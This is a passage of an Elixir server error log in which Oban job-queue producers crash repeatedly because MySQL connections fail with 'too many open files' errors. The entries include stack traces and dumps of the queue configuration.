    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:43:20.241308Z], limit: 50, uuid: "13405bd7-4ba7-4e2e-b6f1-186f73e4ab56", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:43:20.241314Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.211707>, refresh_timer: #Reference<0.2525715032.1121189889.88175>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:43:32.611000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:43:34.608000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:43:35.380000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:43:37.729000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:43:41.969000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:43:42.216000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:43:44.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 891ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:43:32.246125Z], limit: 5, uuid: "f5a81bf6-6d1a-4971-9b9b-21fa35b37b15", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:43:32.246130Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.242104>, refresh_timer: #Reference<0.2525715032.1099169794.242088>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:43:44.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 832ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:43:32.248221Z], limit: 10, uuid: "f7d86604-8b8a-4070-96a1-26867db1f2d8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:43:32.248227Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.212029>, refresh_timer: #Reference<0.2525715032.1077411843.212009>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:43:44.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1047ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:43:32.245977Z], limit: 5, uuid: "7de33efa-459d-4ff0-831a-69f6339297eb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:43:32.245983Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.212031>, refresh_timer: #Reference<0.2525715032.1068236804.233557>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:43:44.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1029ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:43:32.251912Z], limit: 50, uuid: "b210fbfb-66b1-4230-8d89-d1efd202145a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:43:32.251918Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.212030>, refresh_timer: #Reference<0.2525715032.1077411843.212021>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:43:44.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1022ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:43:32.245376Z], limit: 20, uuid: "fdf3c28c-2917-4195-8342-69d7ee81980a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:43:32.245382Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.233571>, refresh_timer: #Reference<0.2525715032.1068236804.233548>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:43:44.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1027ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:43:32.245890Z], limit: 3, uuid: "3e94575e-e0af-4114-8dcc-e955eddd66ad", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:43:32.245897Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.242105>, refresh_timer: #Reference<0.2525715032.1099169794.242077>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:43:45.747000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:43:47.729000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:43:51.352000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:43:53.708000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:43:53.987000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:43:55.118000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:43:55.660000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:43:56.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1077ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:43:44.239214Z], limit: 50, uuid: "ba7a6dd2-cdcf-4522-8c55-eaa4f60c0f83", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:43:44.239220Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.212367>, refresh_timer: #Reference<0.2525715032.1077411843.212350>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:43:56.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 851ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:43:44.239230Z], limit: 10, uuid: "a2224fca-bcc6-41b6-b1ba-da4f907d6cec", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:43:44.239236Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: 